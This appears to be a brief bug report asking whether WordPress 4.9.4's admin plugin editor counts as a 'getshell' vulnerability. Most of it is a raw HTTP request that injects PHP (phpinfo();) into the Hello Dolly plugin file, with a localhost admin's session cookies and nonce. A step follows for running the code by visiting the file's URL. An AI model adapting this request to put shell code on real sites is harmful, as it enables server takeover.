Edit the plugin can getshell

Can getshell at the editing plugin, is it a normal function or a bug?

request package

POST /wordpress-4.9.4-zh_CN/wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress-4.9.4-zh_CN/wordpress/wp-admin/plugin-editor.php?plugin=hello.php&Submit=%E9%80%89%E6%8B%A9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 3016
Cookie: tk_ai=jetpack%3AEt6v8W0UcexiRVzuoOEIi8FT; wordpress_ba71a3b9d80f9014a46a96984c955c9c=admin%7C1537601236%7CBmRBl75ZChw7bQrkWbaIm21m2tsg7PJV2ZvoK6F2GgL%7Cdad372e5b41eef62ae3dabfd5ba0fd4b23b21f55235627ed3d2f5e28adac75b0; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_ba71a3b9d80f9014a46a96984c955c9c=admin%7C1537601236%7CBmRBl75ZChw7bQrkWbaIm21m2tsg7PJV2ZvoK6F2GgL%7C0e6fd907a79c8c2d968fcb101fa238a0615f0463778f1ce3afaf4d16a8827f6e; wp-settings-time-1=1537433070; PHPSESSID=bu0flnjkkvu2viv5lsa6hkg487; ECS_ID=059c3e304c9f87c88874492b711e8ac8cfa9c805; ECS[visit_times]=4; Phpstorm-e635504f=b1a0f7d9-2b4e-42c7-8076-8778186262c9
DNT: 1
Connection: close

nonce=56ee2bbe1a&_wp_http_referer=%2Fwordpress-4.9.4-zh_CN%2Fwordpress%2Fwp-admin%2Fplugin-editor.php%3Fplugin%3Dhello.php%26Submit%3D%25E9%2580%2589%25E6%258B%25A9&newcontent=%3C%3Fphp%0A%2F**%0A+*+%40package+Hello_Dolly%0A+*+%40version+1.6%0A+*%2F%0A%2F*%0APlugin+Name%3A+Hello+Dolly%0APlugin+URI%3A+http%3A%2F%2Fwordpress.org%2Fplugins%2Fhello-dolly%2F%0ADescription%3A+This+is+not+just+a+plugin%2C+it+symbolizes+the+hope+and+enthusiasm+of+an+entire+generation+summed+up+in+two+words+sung+most+famously+by+Louis+Armstrong%3A+Hello%2C+Dolly.+When+activated+you+will+randomly+see+a+lyric+from+%3Ccite%3EHello%2C+Dolly%3C%2Fcite%3E+in+the+upper+right+of+your+admin+screen+on+every+page.%0AAuthor%3A+Matt+Mullenweg%0AVersion%3A+1.6%0AAuthor+URI%3A+http%3A%2F%2Fma.tt%2F%0A*%2F%0Aphpinfo()%3B%0Afunction+hello_dolly_get_lyric()+%7B%0A%09%2F**+These+are+the+lyrics+to+Hello+Dolly+*%2F%0A%09%24lyrics+%3D+%22Hello%2C+Dolly%0AWell%2C+hello%2C+Dolly%0AIt's+so+nice+to+have+you+back+where+you+belong%0AYou're+lookin'+swell%2C+Dolly%0AI+can+tell%2C+Dolly%0AYou're+still+glowin'%2C+you're+still+crowin'%0AYou're+still+goin'+strong%0AWe+feel+the+room+swayin'%0AWhile+the+band's+playin'%0AOne+of+your+old+favourite+songs+from+way+back+when%0ASo%2C+take+her+wrap%2C+fellas%0AFind+her+an+empty+lap%2C+fellas%0ADolly'll+never+go+away+again%0AHello%2C+Dolly%0AWell%2C+hello%2C+Dolly%0AIt's+so+nice+to+have+you+back+where+you+belong%0AYou're+lookin'+swell%2C+Dolly%0AI+can+tell%2C+Dolly%0AYou're+still+glowin'%2C+you're+still+crowin'%0AYou're+still+goin'+strong%0AWe+feel+the+room+swayin'%0AWhile+the+band's+playin'%0AOne+of+your+old+favourite+songs+from+way+back+when%0AGolly%2C+gee%2C+fellas%0AFind+her+a+vacant+knee%2C+fellas%0ADolly'll+never+go+away%0ADolly'll+never+go+away%0ADolly'll+never+go+away+again%22%3B%0A%0A%09%2F%2F+Here+we+split+it+into+lines%0A%09%24lyrics+%3D+explode(+%22%5Cn%22%2C+%24lyrics+)%3B%0A%0A%09%2F%2F+And+then+randomly+choose+a+line%0A%09return+wptexturize(+%24lyrics%5B+mt_rand(+0%2C+count(+%24lyrics+)+-+1+)+%5D+)%3B%0A%7D%0A%0A%2F%2F+This+just+echoes+the+chosen+line%2C+we'll+position+it+later%0Afunction+hello_dolly()+%7B%0A%09%24chosen+%3D+hello_dolly_get_lyric()%3B%0A%09echo+%22%3Cp+id%3D'dolly'%3E%24chosen%3C%2Fp%3E%22%3B%0A%7D%0A%0A%2F%2F+Now+we+set+that+function+up+to+execute+when+the+admin_notices+action+is+called%0Aadd_action(+'admin_notices'%2C+'hello_dolly'+)%3B%0A%0A%2F%2F+We+need+some+CSS+to+position+the+paragraph%0Afunction+dolly_css()+%7B%0A%09%2F%2F+This+makes+sure+that+the+positioning+is+also+good+for+right-to-left+languages%0A%09%24x+%3D+is_rtl()+%3F+'left'+%3A+'right'%3B%0A%0A%09echo+%22%0A%09%3Cstyle+type%3D'text%2Fcss'%3E%0A%09%23dolly+%7B%0A%09%09float%3A+%24x%3B%0A%09%09padding-%24x%3A+15px%3B%0A%09%09padding-top%3A+5px%3B%09%09%0A%09%09margin%3A+0%3B%0A%09%09font-size%3A+11px%3B%0A%09%7D%0A%09%3C%2Fstyle%3E%0A%09%22%3B%0A%7D%0A%0Aadd_action(+'admin_head'%2C+'dolly_css'+)%3B%0A%0A%3F%3E%0A&action=edit-theme-plugin-file&file=hello.php&plugin=hello.php&docs-list=

insert PHP code: phpinfo();

visit url:http://localhost/wordpress-4.9.4-zh_CN/wordpress/wp-content/plugins/hello.php
show phpinfo() details